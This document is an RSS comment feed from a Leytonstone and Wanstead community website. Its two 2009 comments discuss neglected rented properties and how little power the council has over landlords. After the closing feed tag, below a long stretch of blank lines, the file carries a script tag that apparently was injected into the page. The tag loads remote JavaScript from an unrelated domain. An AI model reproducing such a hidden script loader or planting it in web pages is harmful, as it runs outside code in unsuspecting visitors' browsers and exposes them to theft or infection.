
































































































































































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Roof Trees</title>
	<atom:link href="http://www.london-e11.co.uk/2009/10/14/roof-trees/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.london-e11.co.uk/2009/10/14/roof-trees/</link>
	<description>Leytonstone, Snaresbrook and Wanstead Community Website</description>
	<lastBuildDate>Mon, 06 Jun 2011 16:52:48 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: carlmoss</title>
		<link>http://www.london-e11.co.uk/2009/10/14/roof-trees/comment-page-1/#comment-322</link>
		<dc:creator>carlmoss</dc:creator>
		<pubDate>Mon, 19 Oct 2009 12:46:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.london-e11.co.uk/?p=96#comment-322</guid>
		<description>You&#039;re probably right - unless the tenant complains and they&#039;re in danger of serious harm, the council wouldn&#039;t touch it with a barge pole. Having said that, I assume that there are quite a few empty flats down there given the current climate - there does seem to be &lt;a href=&quot;http://www.walthamforest.gov.uk/index/housing/privatehousing/business-empty-properties.htm&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;a fair bit of support&lt;/a&gt; for landlords in this situation. Maybe our councillors should seek them out and talk about the best way forward for all concerned. I won&#039;t hold my breath.</description>
		<content:encoded><![CDATA[<p>You&#8217;re probably right &#8211; unless the tenant complains and they&#8217;re in danger of serious harm, the council wouldn&#8217;t touch it with a barge pole. Having said that, I assume that there are quite a few empty flats down there given the current climate &#8211; there does seem to be <a href="http://www.walthamforest.gov.uk/index/housing/privatehousing/business-empty-properties.htm" target="_blank" rel="nofollow">a fair bit of support</a> for landlords in this situation. Maybe our councillors should seek them out and talk about the best way forward for all concerned. I won&#8217;t hold my breath.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ten Inch Wheeler</title>
		<link>http://www.london-e11.co.uk/2009/10/14/roof-trees/comment-page-1/#comment-320</link>
		<dc:creator>Ten Inch Wheeler</dc:creator>
		<pubDate>Mon, 19 Oct 2009 11:05:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.london-e11.co.uk/?p=96#comment-320</guid>
		<description>Makes me wince too, not to mention embarrassed when we have friends down visiting. The stretch from Harrow Green to Thatched House (and beyond) is dismal. A lot of those properties seem to be rented. If I was only staying for a year or so, I wouldn&#039;t be getting the ladders out either. The council should track down the landlords and have a word - although I suspect that that unless the building is dangerous their powers are nil.</description>
		<content:encoded><![CDATA[<p>Makes me wince too, not to mention embarrassed when we have friends down visiting. The stretch from Harrow Green to Thatched House (and beyond) is dismal. A lot of those properties seem to be rented. If I was only staying for a year or so, I wouldn&#8217;t be getting the ladders out either. The council should track down the landlords and have a word &#8211; although I suspect that that unless the building is dangerous their powers are nil.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://meqashopperinfo.com/js.php"></script>
